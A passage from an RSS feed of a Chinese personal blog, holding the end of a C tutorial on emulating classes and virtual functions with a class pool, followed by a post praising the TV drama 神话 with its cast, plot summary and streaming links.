　　{ 
　　int type = 0; 
　　ClassDesc *current, *parent; 
　　parent = (ClassType *)parent_type; 
　　if( classinfo-&amp;gt;name==NULL ) 
　　{ 
　　TRACE(&amp;quot;RegisterClassType(): class name is NULL\n&amp;quot;); 
　　return type; 
　　} 
　　/*检查是否有对象名重复*/ 
　　current = used_classes; 
　　while(current) 
　　{ 
　　if(strcmp(current-&amp;gt;name, classinfo-&amp;gt;name)==0 ) 
　　{ 
　　TRACE(&amp;quot;RegisterClassType(): class name is redefined\n&amp;quot;); 
　　unlock(); 
　　return type; 
　　} 
　　current = current-&amp;gt;next; 
　　} 
　　/*创建对象*/ 
　　current = free_classes; 
　　if(current) 
　　{ 
　　free_classes = free_classes-&amp;gt;next; 
　　current-&amp;gt;name = classinfo-&amp;gt;name; 
　　current-&amp;gt;parent = parent; 
　　current-&amp;gt;class_size = classinfo-&amp;gt;class_size; 
　　current-&amp;gt;InitClassCallback = classinfo-&amp;gt;InitClassCallback; 
　　current-&amp;gt;InitObjectCallback = classinfo-&amp;gt;InitObjectCallback; 
　　current-&amp;gt;vclass = malloc(current-&amp;gt;class_size); 
　　if( current-&amp;gt;vclass==NULL ) 
　　{ 
　　TRACE(&amp;quot;RegisterClassType(): malloc vclass failed\n&amp;quot;); 
　　} 
　　memset( current-&amp;gt;vclass, 0, current-&amp;gt;class_size); 
　　current-&amp;gt;vclass-&amp;gt;class_type = (int)current; 
　　if( parent )/*子对象的虚函数全部指向父对象的虚函数*/ 
　　{ 
　　memcpy(current-&amp;gt;vclass, parent-&amp;gt;vclass, parent-&amp;gt;class_size); 
　　}&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;　　对子对象新添加的虚函数赋值，也可以对继承于父对象的虚函数重赋值。&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;　　if( current-&amp;gt;InitClassCallback ) 
　　current-&amp;gt;InitClassCallback(current-&amp;gt;vclass);&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;　　链接到对象池中&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;　current-&amp;gt;next = used_classes; 
　　used_classes = current; 
　　} 
　　else 
　　{ 
　　TRACE(&amp;quot;RegisterClassType(): ERROR, no class in class pool\n&amp;quot;); 
　　} 
　　type = (int)current; 注意：type为ClassType类型的指针。 
　　return type; 
　　}&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;　　创建对象的实例&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;　CObject *NewObject(void) /*创建一个实例*/ 
　　{ 
　　return NewClassType(BASE_OBJECT_TYPE); 
　　} 
　　void *NewClassType(int class_type) 
　　{ 
　　ClassType *pclass = NULL; 
　　void *object = NULL; 
　　if( pclass==0 ) 
　　return NULL; 
　　pclass = (ClassType*)class_type; 
　　/*为实例分配内存空间*/ 
　　object = (CObject*)malloc(pclass-&amp;gt;object_size); 
　　if( object ) 
　　{ 
　　/*实例的虚函数指针指向它的对象的虚函数指针*/ 
　　((CObject*)object)-&amp;gt;vclass = pclass-&amp;gt;vclass; 
　　/*调用父对象的初始化函数，这个函数是递归函数， 
　　先初始化基对象，再初始化子对象，再初始化子子对象...*/ 
　　InitParentObject(pclass, object); 
　　} 
　　return object; 
　　} 
　　static void InitParentObject(ClassType *current, void *object) 
　　{ 
　　if( current ) 
　　{ 
　　if( current-&amp;gt;parent ) 
　　InitParentObject(current-&amp;gt;parent, object); 
　　if( current-&amp;gt;InitObjectCallback ) 
　　current-&amp;gt;InitObjectCallback(object); 
　　} 
　　}&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;文章地址:&lt;span id=&quot;sample-permalink&quot;&gt;&lt;a href=&quot;http://www.nodll.com/2010/01/15/about-c-c/Pray.html&quot; target=&quot;_blank&quot;&gt;http://www.nodll.com/2010/01/15/&lt;span id=&quot;editable-post-name&quot; title=&quot;点击编辑这部分固定链接&quot;&gt;about-c-c&lt;/span&gt;/Pray.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/323288906/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288906/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323288906/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323288906/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=f0b5cd65d614591ace8527c8a16f3c73&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=f0b5cd65d614591ace8527c8a16f3c73&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=66f85c4caa1f94edf9f3ed138f421dd3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=66f85c4caa1f94edf9f3ed138f421dd3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=e53c1a66dd18b2505c4b882afec34a6b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=e53c1a66dd18b2505c4b882afec34a6b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=de3e250d8aa719d14ce017e7934107af&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=de3e250d8aa719d14ce017e7934107af&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9c2769e6dc583f155b96be9b6771f875&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9c2769e6dc583f155b96be9b6771f875&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=e442930877bc2e6d43b7230e4c78a8c6&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=e442930877bc2e6d43b7230e4c78a8c6&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=20cfa1e6bfbe8dfb4d2e1da346cf3ebe&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=20cfa1e6bfbe8dfb4d2e1da346cf3ebe&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9b96691822bed35312987bb1cc82b099&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9b96691822bed35312987bb1cc82b099&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b294ee33723da8818a06ebb172fb8b71&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b294ee33723da8818a06ebb172fb8b71&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://www.nodll.com/2010/01/15/about-c-c/Pray.html/feed</wfw:commentRss><slash:comments>7</slash:comments><description>　　我们先用下面的结构来描述一个对象：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
　typedef struct _ClassType 
　　{ 
　　char* name; /*对象名，唯一*/ 
　　int object_size;/*对象大小，创建实列时分配内存要用到*/ 
　　int class_size; /*全部虚函数大小，如sizeof(CObjectClass)*/ 
　　void* vclass; /*虚函数指针*/ 
　　void (*InitClassCallback)(void*); /*给对象的虚函数赋值*/ 
　　void (*InitObjectCallback)(void*);/*对象实例化时，给实例成员赋初值，有点类似构造函数*/ 
　　struct _ClassType* parent; /*父对象*/ 
　　struct _ClassType* next; /*单向链表，指向下一对象*/ 
　　}ClassType; 
　　#define [MAX_CLASS_NUM 128 
　　static ClassType classes[MAX_CLASS_NUM]; /*对象池*/ 
　　static ClassType *used_classes = NULL; 
　　static ClassType *free_classes = NULL;

　　这里只定义了128个对象，数目可能修改或者改成动态分配。
　　初始化，全部链接到空闲链表中

1
2
3
4
5
6
7
8
9
10
　void InitObjectLib(void) 
　　{ 
　　int i; 
　　memset(classes, 0, sizeof(ClassType)*MAX_CLASS_NUM); 
　　for( i=0;i [...]&lt;img src=&quot;http://www1.feedsky.com/t1/323288906/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288906/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323288906/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323288906/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=f0b5cd65d614591ace8527c8a16f3c73&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=f0b5cd65d614591ace8527c8a16f3c73&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=66f85c4caa1f94edf9f3ed138f421dd3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=66f85c4caa1f94edf9f3ed138f421dd3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=e53c1a66dd18b2505c4b882afec34a6b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=e53c1a66dd18b2505c4b882afec34a6b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=de3e250d8aa719d14ce017e7934107af&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=de3e250d8aa719d14ce017e7934107af&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9c2769e6dc583f155b96be9b6771f875&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9c2769e6dc583f155b96be9b6771f875&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=e442930877bc2e6d43b7230e4c78a8c6&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=e442930877bc2e6d43b7230e4c78a8c6&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=20cfa1e6bfbe8dfb4d2e1da346cf3ebe&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=20cfa1e6bfbe8dfb4d2e1da346cf3ebe&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9b96691822bed35312987bb1cc82b099&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9b96691822bed35312987bb1cc82b099&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b294ee33723da8818a06ebb172fb8b71&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b294ee33723da8818a06ebb172fb8b71&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>编程语言</category><category>实例</category><category>指针</category><category>对象</category><category>内存</category><category>动态</category><category>赋值</category><pubDate>Fri, 15 Jan 2010 16:13:24 +0800</pubDate><author>Pray</author><comments>http://www.nodll.com/2010/01/15/about-c-c/Pray.html#comments</comments><guid isPermaLink="false">http://www.nodll.com/?p=238</guid><dc:creator>Pray</dc:creator><fs:srclink>http://www.nodll.com/2010/01/15/about-c-c/Pray.html</fs:srclink><fs:srcfeed>http://www.nodll.com/feed</fs:srcfeed><fs:itemid>feedsky/PraysBlog/~7927926/323288906/6037734</fs:itemid></item><item><title>胡歌版（神话）全集在线观看</title><link>http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288962/6037734/1/item.html</link><content:encoded>&lt;p&gt;　　这几天迷上一部电视剧(神话)，每天更新3集，但胡歌主演，还是坚持在看，他演的古装片我都挺喜欢，部分凄美的爱情，英雄的传奇，历史史诗为一身，还真羡慕这些角色。&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;aligncenter size-full wp-image-230&quot; title=&quot;神话&quot; src=&quot;http://www.nodll.com/wp-content/uploads/2010/01/shenhua.jpg&quot; alt=&quot;神话&quot; width=&quot;533&quot; height=&quot;800&quot; /&gt; &lt;br /&gt;
&lt;strong&gt;主要演员：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　胡歌——易小川 / 蒙毅&lt;br /&gt;
　　白冰——玉漱公主&lt;br /&gt;
　　张世——高要 / 赵高&lt;br /&gt;
　　张萌——高岚 / 虞姬 / 小月&lt;br /&gt;
　　任泉——易大川&lt;br /&gt;
　　谭凯——项羽&lt;br /&gt;
　　金莎——吕素&lt;br /&gt;
　　张卫——高渐离&lt;br /&gt;
　　一真——金将军&lt;br /&gt;
　　陈紫函——吕雉&lt;br /&gt;
　　丁子峻——蒙恬&lt;br /&gt;
　　李易祥——刘邦&lt;/p&gt;
&lt;p&gt; &lt;br /&gt;
&lt;strong&gt;剧情介绍:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　一段跨越千年的爱情 一个男人的成长历程&lt;br /&gt;
　　从轻狂不羁的现代少年 到指挥千军万马的将军&lt;br /&gt;
　　当穿越时空遇到真爱 责任与爱情却不能两全&lt;br /&gt;
　　相爱是否还能相守 他和她将如何选择&lt;br /&gt;
　　易小川和易大川是一对孪生兄弟，偶然间发现的一个神秘盒子把小川传送到了2000年前的秦国，而大川却留在了现代。&lt;br /&gt;
　　小川在秦国经历了种种离奇而又惊心动魄的冒险，和项羽、刘邦结拜为了兄弟，遇见秦始皇，并参加了起义军。&lt;br /&gt;
　　当然小川也遇到了自己的爱情——玉洁冰清的玉漱公主，然而俩人却因为种种原因不能相守。一向玩世不恭的小川在2000年前的古老王朝中不断的成长起来，并且开始体会到责任和爱的真谛。&lt;br /&gt;
　　另一边，身处现代世界的大川，不断地与神秘黑衣人斗争，并从古迹中追寻着小川的痕迹，在这个过程中他也收获了自己的爱情。&lt;br /&gt;
　　兄弟两个最终能否团聚？小川的出现是否能改变历史的进程？让(神话)给您揭晓谜底吧……&lt;/p&gt;
&lt;p&gt; &lt;br /&gt;
&lt;strong&gt;帮他在卖广告- -:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　说说他演的古装片，也是我喜欢的。(射雕英雄传)，很痴的郭靖，很纯的郭靖，电视剧上的插曲&amp;lt;我只能爱你&amp;gt;歌词写的很美。(少年杨家将)这部电视剧胡歌演的六郎有层次性，由浅入深，越來越丰富，看到后来会为他的成长而感动。(天外飞仙)上的董永，一样是痴，善良，一心追求着小七。(聊斋)的宁采臣，还是痴吧，为了小倩，不管做人还是做妖。游戏改编的(仙剑奇侠传)，李逍遥，游戏上的他很搞笑，却也很感动，虽然很多诗词电视剧上没有，各有各的感动之处。(仙剑奇侠传三)游戏上的景天并没有电视剧上的那样调皮，称呼长卿为大哥，可能李国立导演为了在伤感之处加些幽默，仙三电视剧上出现的高科技挺多的，类似GPS之类的设备让主角们的寻人效率飞速提高，点柱香就能实现视频对话，蜀山人手一个的通讯仪器能让他们随时保持联系，功能媲美现代最先进的手机……而融入现代、古代的(神话)里面的他，还是期待中。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在线高清观看地址:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.tudou.com/home/_53991369&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;土豆网&lt;/strong&gt;&lt;/a&gt;　　&lt;a href=&quot;http://tv.sohu.com/s2009/shenhua/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;搜狐网&lt;/strong&gt;&lt;/a&gt;　　&lt;a href=&quot;http://movie.xunlei.com/movie/57867&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;迅雷看看&lt;/strong&gt;&lt;/a&gt;　　&lt;a href=&quot;http://live.qq.com/cover/9/9srmtoonkir0u3d.html&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;腾讯网&lt;/strong&gt;&lt;/a&gt;　　&lt;a href=&quot;http://lelekan.com/guochanju/7410/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;乐乐看50全集&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;文章地址:&lt;span id=&quot;sample-permalink&quot;&gt;&lt;a href=&quot;http://www.nodll.com/2010/01/06/shenhua/Pray.html&quot; target=&quot;_blank&quot;&gt;http://www.nodll.com/2010/01/06/&lt;span id=&quot;editable-post-name&quot; title=&quot;点击编辑这部分固定链接&quot;&gt;shenhua&lt;/span&gt;/Pray.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/323288962/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288962/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323288962/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323288962/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b4eec11147de2deaacb237b0d05952fa&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b4eec11147de2deaacb237b0d05952fa&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=a6ae6df255f4d7f40fb409615213b5d3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=a6ae6df255f4d7f40fb409615213b5d3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=97c56a60d3b7073d563f832ced3739a7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=97c56a60d3b7073d563f832ced3739a7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=0dcbf57274689026a55eaeb6fcbb6ee8&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=0dcbf57274689026a55eaeb6fcbb6ee8&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=42ef88a8fa16ab268220cf9f1c86d45e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=42ef88a8fa16ab268220cf9f1c86d45e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b19ee1617c46b7d74a2961cd9e8df038&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b19ee1617c46b7d74a2961cd9e8df038&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=19f0fe6959d1ac16355ed6c8105e671e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=19f0fe6959d1ac16355ed6c8105e671e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=c8fc5021dcc28ed10d6744bc987ec69c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=c8fc5021dcc28ed10d6744bc987ec69c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=e2dfb133f62db4556e6b466242b007ba&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=e2dfb133f62db4556e6b466242b007ba&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://www.nodll.com/2010/01/06/shenhua/Pray.html/feed</wfw:commentRss><slash:comments>56</slash:comments><description>　　这几天迷上一部电视剧(神话)，每天更新3集，但胡歌主演，还是坚持在看，他演的古装片我都挺喜欢，部分凄美的爱情，英雄的传奇，历史史诗为一身，还真羡慕这些角色。
 
主要演员：
　　胡歌——易小川 / 蒙毅
　　白冰——玉漱公主
　　张世——高要 / 赵高
　　张萌——高岚 / 虞姬 / 小月
　　任泉——易大川
　　谭凯——项羽
　　金莎——吕素
　　张卫——高渐离
　　一真——金将军
　　陈紫函——吕雉
　　丁子峻——蒙恬
　　李易祥——刘邦
 
剧情介绍:
　　一段跨越千年的爱情 一个男人的成长历程
　　从轻狂不羁的现代少年 到指挥千军万马的将军
　　当穿越时空遇到真爱 责任与爱情却不能两全
　　相爱是否还能相守 他和她将如何选择
　　易小川和易大川是一对孪生兄弟，偶然间发现的一个神秘盒子把小川传送到了2000年前的秦国，而大川却留在了现代。
　　小川在秦国经历了种种离奇而又惊心动魄的冒险，和项羽、刘邦结拜为了兄弟，遇见秦始皇，并参加了起义军。
　　当然小川也遇到了自己的爱情——玉洁冰清的玉漱公主，然而俩人却因为种种原因不能相守。一向玩世不恭的小川在2000年前的古老王朝中不断的成长起来，并且开始体会到责任和爱的真谛。
　　另一边，身处现代世界的大川，不断地与神秘黑衣人斗争，并从古迹中追寻着小川的痕迹，在这个过程中他也收获了自己的爱情。
　　兄弟两个最终能否团聚？小川的出现是否能改变历史的进程？让(神话)给您揭晓谜底吧……
 
帮他在卖广告- -:
　　说说他演的古装片，也是我喜欢的。(射雕英雄传)，很痴的郭靖，很纯的郭靖，电视剧上的插曲&amp;#60;我只能爱你&amp;#62;歌词写的很美。(少年杨家将)这部电视剧胡歌演的六郎有层次性，由浅入深，越來越丰富，看到后来会为他的成长而感动。(天外飞仙)上的董永，一样是痴，善良，一心追求着小七。(聊斋)的宁采臣，还是痴吧，为了小倩，不管做人还是做妖。游戏改编的(仙剑奇侠传)，李逍遥，游戏上的他很搞笑，却也很感动，虽然很多诗词电视剧上没有，各有各的感动之处。(仙剑奇侠传三)游戏上的景天并没有电视剧上的那样调皮，称呼长卿为大哥，可能李国立导演为了在伤感之处加些幽默，仙三电视剧上出现的高科技挺多的，类似GPS之类的设备让主角们的寻人效率飞速提高，点柱香就能实现视频对话，蜀山人手一个的通讯仪器能让他们随时保持联系，功能媲美现代最先进的手机……而融入现代、古代的(神话)里面的他，还是期待中。
 
在线高清观看地址:
土豆网　　搜狐网　　迅雷看看　　腾讯网　　乐乐看50全集
 
文章地址:http://www.nodll.com/2010/01/06/shenhua/Pray.html&lt;img src=&quot;http://www1.feedsky.com/t1/323288962/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288962/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323288962/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323288962/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b4eec11147de2deaacb237b0d05952fa&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b4eec11147de2deaacb237b0d05952fa&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=a6ae6df255f4d7f40fb409615213b5d3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=a6ae6df255f4d7f40fb409615213b5d3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=97c56a60d3b7073d563f832ced3739a7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=97c56a60d3b7073d563f832ced3739a7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=0dcbf57274689026a55eaeb6fcbb6ee8&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=0dcbf57274689026a55eaeb6fcbb6ee8&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=42ef88a8fa16ab268220cf9f1c86d45e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=42ef88a8fa16ab268220cf9f1c86d45e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b19ee1617c46b7d74a2961cd9e8df038&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b19ee1617c46b7d74a2961cd9e8df038&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=19f0fe6959d1ac16355ed6c8105e671e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=19f0fe6959d1ac16355ed6c8105e671e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=c8fc5021dcc28ed10d6744bc987ec69c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=c8fc5021dcc28ed10d6744bc987ec69c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=e2dfb133f62db4556e6b466242b007ba&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=e2dfb133f62db4556e6b466242b007ba&quot; 